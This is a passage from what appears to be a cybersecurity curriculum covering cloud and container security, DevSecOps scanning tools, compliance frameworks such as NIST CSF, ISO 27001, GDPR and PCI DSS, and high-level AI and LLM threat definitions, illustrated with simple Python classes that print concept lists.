IAM Best Practices:

PracticeDescription
Least PrivilegeGrant minimum permissions needed
MFARequire multi-factor authentication
Role-Based AccessUse roles instead of long-term credentials
Regular ReviewsReview and rotate permissions
Policy ConditionsUse conditions to restrict access
class AWSSecurity:
    """AWS security concepts"""

    def __init__(self):
        self.iam_principles = {
            "Least Privilege": "Grant only the permissions needed",
            "MFA": "Require multi-factor authentication",
            "Roles": "Use roles instead of long-term credentials",
            "Regular Reviews": "Review and rotate permissions",
            "Conditions": "Use conditions to restrict access"
        }

        self.security_services = {
            "IAM": "Identity and Access Management",
            "Security Groups": "Virtual firewall for EC2",
            "NACLs": "Network Access Control Lists",
            "CloudTrail": "API activity logging",
            "GuardDuty": "Threat detection",
            "Inspector": "Vulnerability scanning",
            "Macie": "Data classification",
            "KMS": "Key Management Service"
        }

    def display_aws(self):
        """Display AWS security concepts"""
        print("=== AWS Security ===\n")

        print("📊 IAM Best Practices:")
        for practice, description in self.iam_principles.items():
            print(f"   - {practice}: {description}")

        print("\n🔧 Security Services:")
        for service, purpose in self.security_services.items():
            print(f"   - {service}: {purpose}")

        print("\n💻 AWS Security Testing:")
        print("   - IAM policy review")
        print("   - Security group analysis")
        print("   - CloudTrail log analysis")
        print("   - S3 bucket permissions")
        print("   - KMS key management")
        print("   - Network ACL review")

# Example
aws_security = AWSSecurity()
aws_security.display_aws()

10.1.4 Azure Security Testing

Azure is Microsoft’s cloud platform, deeply integrated with Microsoft’s enterprise ecosystem.

Azure Security Services:

ServicePurpose
Azure ADIdentity and Access Management
Azure Security CenterSecurity posture management
Azure Key VaultSecrets and key management
Azure SentinelSIEM and SOAR
Azure DefenderThreat protection
Azure PolicyCompliance and governance
Azure MonitorLogging and metrics
class AzureSecurity:
    """Azure security concepts"""

    def __init__(self):
        self.azure_services = {
            "Azure AD": "Identity and Access Management",
            "Security Center": "Security posture management",
            "Key Vault": "Secrets and key management",
            "Sentinel": "SIEM and SOAR",
            "Defender": "Threat protection",
            "Policy": "Compliance and governance",
            "Monitor": "Logging and metrics"
        }

        self.az500_topics = {
            "Identity": "Azure AD, MFA, Conditional Access",
            "Platform": "Network security, VM security",
            "Data": "Encryption, Key Vault",
            "Monitoring": "Sentinel, Log Analytics",
            "DevSecOps": "CI/CD security, Container security"
        }

    def display_azure(self):
        """Display Azure security concepts"""
        print("=== Azure Security ===\n")

        print("🔧 Security Services:")
        for service, purpose in self.azure_services.items():
            print(f"   - {service}: {purpose}")

        print("\n📊 Azure Security Center:")
        print("   - Secure Score tracking")
        print("   - Vulnerability assessment")
        print("   - Just-in-time VM access")
        print("   - Adaptive application controls")
        print("   - Threat protection")

        print("\n💻 Azure Security Testing:")
        print("   - Azure AD configuration review")
        print("   - Role assignments and permissions")
        print("   - NSG (Network Security Group) analysis")
        print("   - Key Vault access policies")
        print("   - Sentinel alerts and rules")

# Example
azure_security = AzureSecurity()
azure_security.display_azure()

10.1.5 GCP Security Testing

GCP (Google Cloud Platform) is Google’s cloud offering, known for its data analytics and machine learning capabilities.

GCP Security Services:

ServicePurpose
IAMIdentity and Access Management
Cloud Security Command CenterSecurity posture management
Cloud KMSKey Management Service
Binary AuthorizationContainer image attestation
VPC Service ControlsService perimeter security
Cloud Audit LogsAudit logging
class GCPSecurity:
    """GCP security concepts"""

    def __init__(self):
        self.gcp_services = {
            "IAM": "Identity and Access Management",
            "Security Command Center": "Security posture management",
            "Cloud KMS": "Key Management Service",
            "Binary Authorization": "Container image attestation",
            "VPC Service Controls": "Service perimeter security",
            "Cloud Audit Logs": "Audit logging"
        }

    def display_gcp(self):
        """Display GCP security concepts"""
        print("=== GCP Security ===\n")

        print("🔧 Security Services:")
        for service, purpose in self.gcp_services.items():
            print(f"   - {service}: {purpose}")

        print("\n📊 Security Command Center:")
        print("   - Asset inventory")
        print("   - Vulnerability scanning")
        print("   - Threat detection")
        print("   - Security health analytics")

        print("\n💻 GCP Security Testing:")
        print("   - IAM policy review")
        print("   - Cloud Storage permissions")
        print("   - Network firewall rules")
        print("   - KMS key rotation")
        print("   - Audit logs review")

# Example
gcp_security = GCPSecurity()
gcp_security.display_gcp()

10.1.6 Container and Kubernetes Security

Container Security focuses on securing containerized applications and the container orchestration platform (Kubernetes).

Docker Security:

AspectSecurity Considerations
Image ScanningScan for vulnerabilities in base images
Runtime SecurityPrevent privilege escalation
User NamespaceIsolate container processes
Seccomp ProfilesRestrict system calls
Read-Only FSPrevent file system modifications

Kubernetes Security:

AspectSecurity Considerations
RBACRole-Based Access Control
Network PoliciesControl pod-to-pod communication
Pod Security StandardsEnforce pod security policies
Secrets ManagementSecurely store and manage secrets
API Server SecuritySecure the API endpoint
class ContainerSecurity:
    """Container and Kubernetes security concepts"""

    def __init__(self):
        self.docker_security = {
            "Image Scanning": "Scan base images for vulnerabilities",
            "Runtime Security": "Prevent privilege escalation",
            "Read-Only FS": "Prevent file system modifications",
            "Seccomp": "Restrict system calls",
            "AppArmor": "Application security profiles"
        }

        self.kubernetes_security = {
            "RBAC": "Role-Based Access Control",
            "Network Policies": "Control pod-to-pod communication",
            "Pod Security Standards": "Enforce pod security policies",
            "Secrets": "Securely store and manage secrets",
            "API Server": "Secure the API endpoint"
        }

    def display_security(self):
        """Display container security concepts"""
        print("=== Container and Kubernetes Security ===\n")

        print("🔧 Docker Security:")
        for aspect, description in self.docker_security.items():
            print(f"   - {aspect}: {description}")

        print("\n🔧 Kubernetes Security:")
        for aspect, description in self.kubernetes_security.items():
            print(f"   - {aspect}: {description}")

        print("\n🛡️ Security Tools:")
        print("   - Trivy: Container image scanning")
        print("   - Falco: Runtime security monitoring")
        print("   - Calico/Cilium: Network policies")
        print("   - Kube-bench: CIS benchmark compliance")

# Example
container_sec = ContainerSecurity()
container_sec.display_security()

10.2 CI/CD Security

CI/CD (Continuous Integration/Continuous Deployment) automates the software delivery pipeline. Security must be integrated throughout the pipeline.

CI/CD Pipeline:

Code Commit → Build → Test → Deploy → Monitor
    ↓          ↓       ↓       ↓         ↓
   SAST      SCA     DAST    Container  Runtime

10.2.1 Automated Vulnerability Scanning

SAST (Static Application Security Testing):

Definition: SAST analyzes source code for security vulnerabilities without executing the application. It examines code syntax, logic, and patterns to identify potential security issues.

Benefits of SAST:

  • Finds vulnerabilities early in development
  • Integrates with IDE and CI/CD
  • Provides line-by-line location of issues
  • Covers common vulnerability patterns

DAST (Dynamic Application Security Testing):

Definition: DAST tests running applications for vulnerabilities by simulating attacks from the outside. It interacts with the application like an attacker would.

Benefits of DAST:

  • Tests the application in its running state
  • Finds configuration and environment issues
  • Tests authentication and session management
  • Works with any application type
class AutomatedVulnerabilityScanning:
    """SAST and DAST concepts"""

    def __init__(self):
        self.sast_tools = {
            "SonarQube": "Open-source code quality and security",
            "Checkmarx": "Enterprise SAST solution",
            "Fortify": "Micro Focus SAST",
            "Veracode": "Cloud-based SAST",
            "ESLint": "JavaScript static analysis"
        }

        self.dast_tools = {
            "OWASP ZAP": "Open-source web application security testing",
            "Burp Suite": "Professional web security testing",
            "Acunetix": "Automated web vulnerability scanner",
            "Nessus": "Comprehensive vulnerability scanning"
        }

    def display_sast(self):
        """Display SAST concepts"""
        print("=== SAST (Static Application Security Testing) ===\n")

        print("🎯 What SAST Finds:")
        print("   - SQL injection patterns")
        print("   - Cross-site scripting (XSS)")
        print("   - Buffer overflows")
        print("   - Hard-coded credentials")
        print("   - Insecure cryptographic implementations")

        print("\n🔧 SAST Tools:")
        for tool, description in self.sast_tools.items():
            print(f"   - {tool}: {description}")

        print("\n💻 SAST in CI/CD:")
        print("   - Run on every code commit")
        print("   - Fail build on critical findings")
        print("   - Report findings to developers")
        print("   - Track vulnerability remediation")

    def display_dast(self):
        """Display DAST concepts"""
        print("\n=== DAST (Dynamic Application Security Testing) ===\n")

        print("🎯 What DAST Finds:")
        print("   - Authentication issues")
        print("   - Session management flaws")
        print("   - Configuration errors")
        print("   - Input validation failures")
        print("   - Output encoding issues")

        print("\n🔧 DAST Tools:")
        for tool, description in self.dast_tools.items():
            print(f"   - {tool}: {description}")

        print("\n💻 DAST in CI/CD:")
        print("   - Run against staging environment")
        print("   - Automated security scans")
        print("   - Integration with CI/CD pipeline")
        print("   - Pass/fail criteria for deployment")

# Example
vuln_scanning = AutomatedVulnerabilityScanning()
vuln_scanning.display_sast()
vuln_scanning.display_dast()

10.2.2 Infrastructure as Code Security

Infrastructure as Code (IaC) is the practice of managing and provisioning infrastructure through machine-readable definition files, rather than physical hardware configuration.

class IaCSecurity:
    """Infrastructure as Code security"""

    def __init__(self):
        self.iac_tools = {
            "Terraform": "Multi-cloud IaC",
            "AWS CloudFormation": "AWS-specific IaC",
            "Azure ARM": "Azure Resource Manager",
            "GCP Deployment Manager": "GCP IaC",
            "Pulumi": "Modern IaC with programming languages"
        }

        self.security_tools = {
            "Checkov": "Terraform security scanning",
            "Terrascan": "IaC security scanning",
            "CloudFormation Guard": "AWS policy as code",
            "Sentinel": "HashiCorp policy as code"
        }

    def display_iac(self):
        """Display IaC security concepts"""
        print("=== Infrastructure as Code Security ===\n")

        print("🔧 IaC Tools:")
        for tool, description in self.iac_tools.items():
            print(f"   - {tool}: {description}")

        print("\n🛡️ Security Scanning Tools:")
        for tool, description in self.security_tools.items():
            print(f"   - {tool}: {description}")

        print("\n🔍 What IaC Security Scans Find:")
        print("   - Open security groups (0.0.0.0/0)")
        print("   - Publicly exposed storage")
        print("   - Unencrypted resources")
        print("   - Excessive permissions")
        print("   - Non-compliant configurations")

        print("\n💻 Example: Terraform Security Check")
        print("   checkov -d . -o json")
        print("   terrascan scan -i terraform")

# Example
iac_security = IaCSecurity()
iac_security.display_iac()

10.2.3 Container Security

class ContainerSecurityTools:
    """Container security tools and practices"""

    def __init__(self):
        self.scanning_tools = {
            "Trivy": "Comprehensive container image scanning",
            "Clair": "Open-source container vulnerability scanning",
            "Anchore": "Enterprise container security",
            "Grype": "Vulnerability scanner for container images"
        }

        self.runtime_tools = {
            "Falco": "Runtime security monitoring",
            "Sysdig": "Container security platform",
            "Aqua": "Container security platform",
            "Twistlock": "Container security platform"
        }

    def display_container_security(self):
        """Display container security tools"""
        print("=== Container Security ===\n")

        print("🔧 Image Scanning Tools:")
        for tool, description in self.scanning_tools.items():
            print(f"   - {tool}: {description}")

        print("\n🔧 Runtime Security Tools:")
        for tool, description in self.runtime_tools.items():
            print(f"   - {tool}: {description}")

        print("\n🛡️ Best Practices:")
        print("   - Use minimal base images")
        print("   - Scan images before deployment")
        print("   - Run containers as non-root")
        print("   - Use read-only file systems")
        print("   - Limit container capabilities")
        print("   - Monitor runtime behavior")

# Example
container_tools = ContainerSecurityTools()
container_tools.display_container_security()

10.2.4 DevSecOps Pipeline

DevSecOps integrates security practices into the DevOps pipeline. Security becomes everyone’s responsibility, and security controls are automated throughout the software development lifecycle.

Shift-Left Security:

Definition: “Shifting left” means moving security testing to the earliest stages of the development lifecycle, rather than waiting until the end.

class DevSecOpsPipeline:
    """DevSecOps pipeline concepts"""

    def __init__(self):
        self.pipeline_stages = {
            "Development": {
                "security_actions": ["SAST scanning", "IDE plugins", "Code review"],
                "tools": ["SonarQube", "ESLint", "Bandit"]
            },
            "Build": {
                "security_actions": ["SCA scanning", "Container scanning", "Image signing"],
                "tools": ["Trivy", "Clair", "Grype"]
            },
            "Test": {
                "security_actions": ["DAST scanning", "Penetration testing", "Fuzzing"],
                "tools": ["OWASP ZAP", "Burp Suite", "Acunetix"]
            },
            "Deploy": {
                "security_actions": ["IaC scanning", "Compliance checking", "Policy enforcement"],
                "tools": ["Checkov", "Terrascan", "OPA"]
            },
            "Monitor": {
                "security_actions": ["Runtime monitoring", "Threat detection", "Incident response"],
                "tools": ["Falco", "Prometheus", "Grafana"]
            }
        }

    def display_pipeline(self):
        """Display DevSecOps pipeline"""
        print("=== DevSecOps Pipeline ===\n")

        print("🎯 Shift-Left Security:")
        print("   - Security testing starts early")
        print("   - Automated checks in CI/CD")
        print("   - Security as code")
        print("   - Continuous monitoring\n")

        for stage, info in self.pipeline_stages.items():
            print(f"🔹 {stage}")
            print(f"   Security Actions: {', '.join(info['security_actions'])}")
            print(f"   Tools: {', '.join(info['tools'])}")
            print()

        print("📋 CI/CD Security Gates:")
        print("   - Code quality: Pass/Fail")
        print("   - Vulnerability count: < threshold")
        print("   - Compliance: Must pass")
        print("   - Image signing: Required")

# Example
devsecops = DevSecOpsPipeline()
devsecops.display_pipeline()

10.3 Certifications for Cloud Security

class CloudSecurityCertifications:
    """Cloud security certifications"""

    def __init__(self):
        self.certifications = {
            "AWS Certified Security - Specialty": {
                "focus": "AWS security services and best practices",
                "level": "Advanced",
                "vendor": "AWS"
            },
            "Azure Security Engineer Associate (AZ-500)": {
                "focus": "Azure security management",
                "level": "Intermediate",
                "vendor": "Microsoft"
            },
            "Google Professional Cloud Security Engineer": {
                "focus": "GCP security services",
                "level": "Intermediate",
                "vendor": "Google"
            },
            "CCSP": {
                "full_name": "Certified Cloud Security Professional",
                "focus": "Cloud security architecture and governance",
                "level": "Advanced",
                "vendor": "ISC2"
            },
            "CCSK": {
                "full_name": "Certificate of Cloud Security Knowledge",
                "focus": "Cloud security fundamentals",
                "level": "Foundation",
                "vendor": "CSA"
            }
        }

    def display_certifications(self):
        """Display cloud security certifications"""
        print("=== Cloud Security Certifications ===\n")

        for cert, info in self.certifications.items():
            if "full_name" in info:
                print(f"🔹 {cert} - {info['full_name']}")
                print(f"   Focus: {info['focus']}")
                print(f"   Level: {info['level']}")
                print(f"   Vendor: {info['vendor']}")
            else:
                print(f"🔹 {cert}")
                print(f"   Focus: {info['focus']}")
                print(f"   Level: {info['level']}")
                print(f"   Vendor: {info['vendor']}")
            print()

# Example
cloud_certs = CloudSecurityCertifications()
cloud_certs.display_certifications()

You have now completed Phase 10: Cloud Security & DevSecOps.

Key Topics Covered:

TopicKey Concepts
Cloud Service ModelsIaaS, PaaS, SaaS, FaaS
Cloud Deployment ModelsPublic, Private, Hybrid, Multi-Cloud
AWS SecurityIAM, Security Groups, CloudTrail, GuardDuty
Azure SecurityAzure AD, Security Center, Sentinel
GCP SecurityIAM, Security Command Center, Cloud KMS
Container SecurityDocker, Kubernetes, RBAC, Network Policies
DevSecOpsShift-Left, CI/CD Security, SAST, DAST
IaC SecurityTerraform, Checkov, Policy as Code

Practical Examples Completed:

  • Cloud service model comparison
  • AWS security services overview
  • Azure security center features
  • GCP security command center
  • Container security best practices
  • SAST and DAST tools
  • IaC security scanning
  • DevSecOps pipeline stages

PHASE 11: ENTERPRISE GRC & ADVANCED SECURITY

11.1 Governance, Risk & Compliance (GRC)

GRC (Governance, Risk, and Compliance) is the integrated collection of capabilities that enable an organization to reliably achieve objectives, address uncertainty, and act with integrity. In cybersecurity, GRC ensures that security practices align with business objectives, regulatory requirements, and risk appetite.

Why GRC Matters:

ComponentDescription
GovernanceEstablishing policies, procedures, and oversight
Risk ManagementIdentifying, assessing, and mitigating risks
ComplianceMeeting regulatory and legal requirements

11.1.1 Security Frameworks

NIST CSF (Cybersecurity Framework):

Definition: The NIST CSF is a voluntary framework developed by the US National Institute of Standards and Technology to help organizations manage and reduce cybersecurity risk. It provides a common language for discussing and managing cybersecurity risk.

The Five Core Functions:

FunctionDescriptionActivities
IdentifyUnderstand your assets and risksAsset inventory, risk assessment
ProtectImplement safeguardsAccess control, awareness training
DetectIdentify cybersecurity eventsMonitoring, anomaly detection
RespondTake action on detected incidentsIncident response, communication
RecoverRestore capabilitiesBackup, recovery planning

Implementation Tiers:

TierDescription
Tier 1 (Partial)Ad hoc, reactive security
Tier 2 (Risk Informed)Risk-aware, but not consistent
Tier 3 (Repeatable)Formal policies and procedures
Tier 4 (Adaptive)Continuous improvement, proactive
class NISTCSF:
    """NIST Cybersecurity Framework concepts"""

    def __init__(self):
        self.functions = {
            "Identify": {
                "description": "Understand your assets and risks",
                "activities": ["Asset inventory", "Risk assessment", "Governance"]
            },
            "Protect": {
                "description": "Implement safeguards",
                "activities": ["Access control", "Awareness training", "Data security"]
            },
            "Detect": {
                "description": "Identify cybersecurity events",
                "activities": ["Monitoring", "Anomaly detection", "Continuous monitoring"]
            },
            "Respond": {
                "description": "Take action on detected incidents",
                "activities": ["Incident response", "Communication", "Analysis"]
            },
            "Recover": {
                "description": "Restore capabilities",
                "activities": ["Recovery planning", "Improvements", "Communication"]
            }
        }

        self.tiers = {
            "Tier 1 (Partial)": "Ad hoc, reactive security",
            "Tier 2 (Risk Informed)": "Risk-aware, but not consistent",
            "Tier 3 (Repeatable)": "Formal policies and procedures",
            "Tier 4 (Adaptive)": "Continuous improvement, proactive"
        }

    def display_framework(self):
        """Display NIST CSF concepts"""
        print("=== NIST Cybersecurity Framework ===\n")

        print("📊 Five Core Functions:")
        for function, info in self.functions.items():
            print(f"\n🔹 {function}")
            print(f"   {info['description']}")
            print(f"   Activities: {', '.join(info['activities'])}")

        print("\n📋 Implementation Tiers:")
        for tier, description in self.tiers.items():
            print(f"   - {tier}: {description}")

# Example
nist = NISTCSF()
nist.display_framework()

ISO 27001 (Information Security Management):

Definition: ISO 27001 is an international standard for Information Security Management Systems (ISMS). It provides a systematic approach to managing sensitive company information, ensuring it remains secure.

Annex A Controls (14 Domains):

DomainDescription
A.5Information security policies
A.6Organization of information security
A.7Human resource security
A.8Asset management
A.9Access control
A.10Cryptography
A.11Physical and environmental security
A.12Operations security
A.13Communications security
A.14System acquisition, development, maintenance
A.15Supplier relationships
A.16Incident management
A.17Business continuity
A.18Compliance
class ISO27001:
    """ISO 27001 concepts"""

    def __init__(self):
        self.annex_a = {
            "A.5": "Information security policies",
            "A.6": "Organization of information security",
            "A.7": "Human resource security",
            "A.8": "Asset management",
            "A.9": "Access control",
            "A.10": "Cryptography",
            "A.11": "Physical and environmental security",
            "A.12": "Operations security",
            "A.13": "Communications security",
            "A.14": "System acquisition and development",
            "A.15": "Supplier relationships",
            "A.16": "Incident management",
            "A.17": "Business continuity",
            "A.18": "Compliance"
        }

    def display_iso(self):
        """Display ISO 27001 concepts"""
        print("=== ISO 27001 ===\n")

        print("📊 Annex A Controls (14 Domains):")
        for domain, description in self.annex_a.items():
            print(f"   - {domain}: {description}")

        print("\n📋 Certification Process:")
        print("   1. Establish ISMS")
        print("   2. Define scope")
        print("   3. Conduct risk assessment")
        print("   4. Implement controls")
        print("   5. Stage 1 audit (documentation)")
        print("   6. Stage 2 audit (implementation)")
        print("   7. Certification granted")
        print("   8. Regular surveillance audits")

# Example
iso27001 = ISO27001()
iso27001.display_iso()

SOC 2 (Service Organization Control):

Definition: SOC 2 is a voluntary compliance standard for service organizations that store, process, or transmit customer data. It focuses on five Trust Service Criteria (TSC).

Trust Service Criteria:

CriterionDescription
SecurityProtection against unauthorized access
AvailabilitySystem is available for operation and use
Processing IntegritySystem processing is complete, valid, accurate
ConfidentialityInformation is protected
PrivacyPersonal information is collected, used, and disclosed appropriately

Type I vs Type II:

TypeDescription
Type IDesign of controls at a specific point in time
Type IIOperating effectiveness over a period of time (typically 6-12 months)
class SOC2:
    """SOC 2 concepts"""

    def __init__(self):
        self.tsc = {
            "Security": "Protection against unauthorized access",
            "Availability": "System is available for operation and use",
            "Processing Integrity": "System processing is complete, valid, accurate",
            "Confidentiality": "Information is protected",
            "Privacy": "Personal information is properly managed"
        }

        self.types = {
            "Type I": "Design of controls at a point in time",
            "Type II": "Operating effectiveness over a period (6-12 months)"
        }

    def display_soc2(self):
        """Display SOC 2 concepts"""
        print("=== SOC 2 ===\n")

        print("📊 Trust Service Criteria:")
        for criterion, description in self.tsc.items():
            print(f"   - {criterion}: {description}")

        print("\n📋 Report Types:")
        for type_name, description in self.types.items():
            print(f"   - {type_name}: {description}")

# Example
soc2 = SOC2()
soc2.display_soc2()

GDPR (General Data Protection Regulation):

Definition: GDPR is the European Union’s regulation on data protection and privacy. It applies to any organization that processes personal data of EU citizens, regardless of where the organization is located.

Key GDPR Principles:

PrincipleDescription
Lawfulness, Fairness, TransparencyProcess data lawfully and transparently
Purpose LimitationCollect data for specified purposes
Data MinimizationCollect only necessary data
AccuracyKeep data accurate and up-to-date
Storage LimitationDon’t keep data longer than necessary
Integrity and ConfidentialitySecure data appropriately
AccountabilityDemonstrate compliance

Individual Rights:

RightDescription
Right to AccessRequest copies of personal data
Right to RectificationCorrect inaccurate data
Right to ErasureRequest deletion (“right to be forgotten”)
Right to Restrict ProcessingLimit how data is processed
Right to Data PortabilityTransfer data to another service
Right to ObjectObject to data processing
Rights Related to Automated Decision MakingChallenge automated decisions
class GDPR:
    """GDPR concepts"""

    def __init__(self):
        self.principles = {
            "Lawfulness, Fairness, Transparency": "Process data lawfully and transparently",
            "Purpose Limitation": "Collect data for specified purposes",
            "Data Minimization": "Collect only necessary data",
            "Accuracy": "Keep data accurate and up-to-date",
            "Storage Limitation": "Don't keep data longer than necessary",
            "Integrity and Confidentiality": "Secure data appropriately",
            "Accountability": "Demonstrate compliance"
        }

        self.individual_rights = {
            "Right to Access": "Request copies of personal data",
            "Right to Rectification": "Correct inaccurate data",
            "Right to Erasure": "Request deletion (right to be forgotten)",
            "Right to Restrict Processing": "Limit how data is processed",
            "Right to Data Portability": "Transfer data to another service",
            "Right to Object": "Object to data processing"
        }

    def display_gdpr(self):
        """Display GDPR concepts"""
        print("=== GDPR ===\n")

        print("📋 Key Principles:")
        for principle, description in self.principles.items():
            print(f"   - {principle}: {description}")

        print("\n📋 Individual Rights:")
        for right, description in self.individual_rights.items():
            print(f"   - {right}: {description}")

        print("\n📊 Breach Notification:")
        print("   - 72-hour notification requirement")
        print("   - To supervisory authority and affected individuals")
        print("   - Fines: up to €20M or 4% of global turnover")

# Example
gdpr = GDPR()
gdpr.display_gdpr()

HIPAA (Health Insurance Portability and Accountability Act):

Definition: HIPAA is US legislation that provides data privacy and security provisions for safeguarding medical information.

HIPAA Rules:

RuleDescription
Privacy RuleProtects patients’ personal health information
Security RuleSets standards for electronic health information
Breach Notification RuleRequires notification of data breaches
class HIPAA:
    """HIPAA concepts"""

    def __init__(self):
        self.rules = {
            "Privacy Rule": "Protects patients' personal health information",
            "Security Rule": "Sets standards for electronic health information",
            "Breach Notification Rule": "Requires notification of data breaches"
        }

        self.safeguards = {
            "Administrative": "Security management, workforce training",
            "Physical": "Facility access, workstation security",
            "Technical": "Access control, encryption, audit controls"
        }

    def display_hipaa(self):
        """Display HIPAA concepts"""
        print("=== HIPAA ===\n")

        print("📋 HIPAA Rules:")
        for rule, description in self.rules.items():
            print(f"   - {rule}: {description}")

        print("\n📋 Security Rule Safeguards:")
        for safeguard, description in self.safeguards.items():
            print(f"   - {safeguard}: {description}")

# Example
hipaa = HIPAA()
hipaa.display_hipaa()

PCI DSS (Payment Card Industry Data Security Standard):

Definition: PCI DSS is a set of security standards for organizations that handle credit card information.

12 Requirements (6 Domains):

DomainRequirements
Build and Maintain a Secure Network1. Firewall, 2. Secure configurations
Protect Cardholder Data3. Protect stored data, 4. Encrypt transmission
Maintain a Vulnerability Management Program5. Antivirus, 6. Secure systems
Implement Strong Access Control Measures7. Need-to-know, 8. Access control
Regularly Monitor and Test Networks9. Monitor access, 10. Test networks
Maintain an Information Security Policy11. Security policy, 12. Risk assessment
class PCIDSS:
    """PCI DSS concepts"""

    def __init__(self):
        self.domains = {
            "Build and Maintain a Secure Network": ["Firewall", "Secure configurations"],
            "Protect Cardholder Data": ["Protect stored data", "Encrypt transmission"],
            "Maintain a Vulnerability Management Program": ["Antivirus", "Secure systems"],
            "Implement Strong Access Control Measures": ["Need-to-know", "Access control"],
            "Regularly Monitor and Test Networks": ["Monitor access", "Test networks"],
            "Maintain an Information Security Policy": ["Security policy", "Risk assessment"]
        }

    def display_pci(self):
        """Display PCI DSS concepts"""
        print("=== PCI DSS ===\n")

        print("📋 6 Domains (12 Requirements):")
        for domain, requirements in self.domains.items():
            print(f"\n🔹 {domain}:")
            for req in requirements:
                print(f"   - {req}")

# Example
pci = PCIDSS()
pci.display_pci()

11.1.2 Risk Management

Risk Management is the process of identifying, assessing, and controlling threats to an organization’s capital and earnings.

Risk Management Process:

StepDescription
Risk IdentificationIdentify potential risks and threats
Risk AssessmentEvaluate likelihood and impact
Risk AnalysisAnalyze risk and prioritize
Risk TreatmentDecide how to handle risks
Risk MonitoringMonitor and review risks

Risk Treatment Strategies:

StrategyDescription
AvoidEliminate the risk entirely
TransferTransfer risk to another party (insurance)
MitigateReduce risk through controls
AcceptAccept the risk (if low impact/likelihood)
class RiskManagement:
    """Risk management concepts"""

    def __init__(self):
        self.process = {
            "Risk Identification": "Identify potential risks and threats",
            "Risk Assessment": "Evaluate likelihood and impact",
            "Risk Analysis": "Analyze risk and prioritize",
            "Risk Treatment": "Decide how to handle risks",
            "Risk Monitoring": "Monitor and review risks"
        }

        self.strategies = {
            "Avoid": "Eliminate the risk entirely",
            "Transfer": "Transfer risk to another party (insurance)",
            "Mitigate": "Reduce risk through controls",
            "Accept": "Accept the risk (if low impact/likelihood)"
        }

    def display_risk(self):
        """Display risk management concepts"""
        print("=== Risk Management ===\n")

        print("📋 Risk Management Process:")
        for step, description in self.process.items():
            print(f"   - {step}: {description}")

        print("\n📋 Risk Treatment Strategies:")
        for strategy, description in self.strategies.items():
            print(f"   - {strategy}: {description}")

# Example
risk_mgmt = RiskManagement()
risk_mgmt.display_risk()

11.1.3 What Regulations Require

Common Regulatory Requirements:

RequirementDescription
Risk AssessmentsRegular assessment of security risks
TransparencyPrivacy notices, disclosures, consent
Human OversightManual review, accountability
DocumentationPolicies, procedures, evidence
Audit TrailsLogs, monitoring, retention
Data ProtectionEncryption, access controls, anonymization
Breach NotificationNotify regulators and affected individuals
class RegulatoryRequirements:
    """Common regulatory requirements"""

    def __init__(self):
        self.requirements = {
            "Risk Assessments": "Regular assessment of security risks",
            "Transparency": "Privacy notices, disclosures, consent",
            "Human Oversight": "Manual review, accountability",
            "Documentation": "Policies, procedures, evidence",
            "Audit Trails": "Logs, monitoring, retention",
            "Data Protection": "Encryption, access controls, anonymization",
            "Breach Notification": "Notify regulators and affected individuals"
        }

    def display_requirements(self):
        """Display regulatory requirements"""
        print("=== Regulatory Requirements ===\n")

        for requirement, description in self.requirements.items():
            print(f"🔹 {requirement}")
            print(f"   {description}")
            print()

# Example
reg_requirements = RegulatoryRequirements()
reg_requirements.display_requirements()

11.2 AI & LLM Security

11.2.1 Securing AI Pipelines

AI Attack Surfaces:

SurfaceDescription
Training DataPoisoning, data leakage
ModelInversion, extraction
InferenceAdversarial examples
DeploymentConfiguration, access control
PipelineSupply chain, dependencies

Model Inversion Attacks:

Definition: Model inversion attacks attempt to reconstruct training data from a model’s outputs. An attacker can infer sensitive information about the training data by querying the model and analyzing its responses.

Defenses:

  • Differential Privacy
  • DP-SGD (Differentially Private Stochastic Gradient Descent)
  • Regularization
  • Output perturbation

Data Poisoning:

Definition: Data poisoning occurs when an attacker manipulates the training data to compromise the model’s behavior. This can include backdoor attacks where the model behaves normally except for specific triggers.

Defenses:

  • Data validation and sanitization
  • Robust training methods
  • Anomaly detection in training data

Model Extraction:

Definition: Model extraction attacks steal a model’s intellectual property by querying it and using the responses to build a replica.

Defenses:

  • Rate limiting
  • Watermarking
  • Output perturbation
class AIPipelineSecurity:
    """AI pipeline security concepts"""

    def __init__(self):
        self.attack_surfaces = {
            "Training Data": "Poisoning, data leakage",
            "Model": "Inversion, extraction",
            "Inference": "Adversarial examples",
            "Deployment": "Configuration, access control",
            "Pipeline": "Supply chain, dependencies"
        }

        self.defenses = {
            "Differential Privacy": "Adding noise to preserve privacy",
            "DP-SGD": "Differentially Private Stochastic Gradient Descent",
            "Adversarial Training": "Training with adversarial examples",
            "Regularization": "Preventing overfitting"
        }

    def display_security(self):
        """Display AI pipeline security concepts"""
        print("=== AI Pipeline Security ===\n")

        print("📊 AI Attack Surfaces:")
        for surface, description in self.attack_surfaces.items():
            print(f"   - {surface}: {description}")

        print("\n🛡️ Defenses:")
        for defense, description in self.defenses.items():
            print(f"   - {defense}: {description}")

# Example
ai_security = AIPipelineSecurity()
ai_security.display_security()

11.2.2 LLM-Specific Threats

Prompt Injection:

Definition: Prompt injection occurs when an attacker crafts input that manipulates an AI system’s behavior by injecting instructions into the content the model processes.

Types of Prompt Injection:

TypeDescription
DirectUser injects malicious instructions
IndirectMalicious instructions come from external content

Jailbreaking:

Definition: Jailbreaking bypasses the safety measures and restrictions placed on an LLM, allowing it to produce content that it was designed to prevent.

Data Leakage Prevention:

MeasureDescription
Input FilteringSanitize user input
Output FilteringRemove sensitive information from responses
TokenizationRedact sensitive data
Access ControlLimit what the model can access
class LLMSecurity:
    """LLM security concepts"""

    def __init__(self):
        self.threats = {
            "Prompt Injection": "Manipulating the model through crafted input",
            "Jailbreaking": "Bypassing safety measures",
            "Data Leakage": "Exposing sensitive information",
            "System Prompt Extraction": "Revealing system instructions"
        }

        self.defenses = {
            "Input Sanitization": "Filter and validate user input",
            "Prompt Constraints": "Add boundaries and instructions",
            "Output Filtering": "Remove sensitive information",
            "Rate Limiting": "Limit query volume",
            "Monitoring": "Detect malicious patterns"
        }

    def display_llm_security(self):
        """Display LLM security concepts"""
        print("=== LLM Security ===\n")

        print("🔴 LLM Threats:")
        for threat, description in self.threats.items():
            print(f"   - {threat}: {description}")

        print("\n🛡️ Defenses:")
        for defense, description in self.defenses.items():
            print(f"   - {defense}: {description}")

# Example
llm_security = LLMSecurity()
llm_security.display_llm_security()

11.2.3 AI in Cybersecurity

AI for Defensive Security:

ApplicationDescription
Threat DetectionAutomated IDS/IPS
Anomaly DetectionIdentify unusual behavior
Incident ResponseAutomated playbooks
Threat IntelligenceAnalyze threat data
UEBAUser and Entity Behavior Analytics

AI as an Attack Surface:

RiskDescription
Adversarial ExamplesInputs designed to fool AI
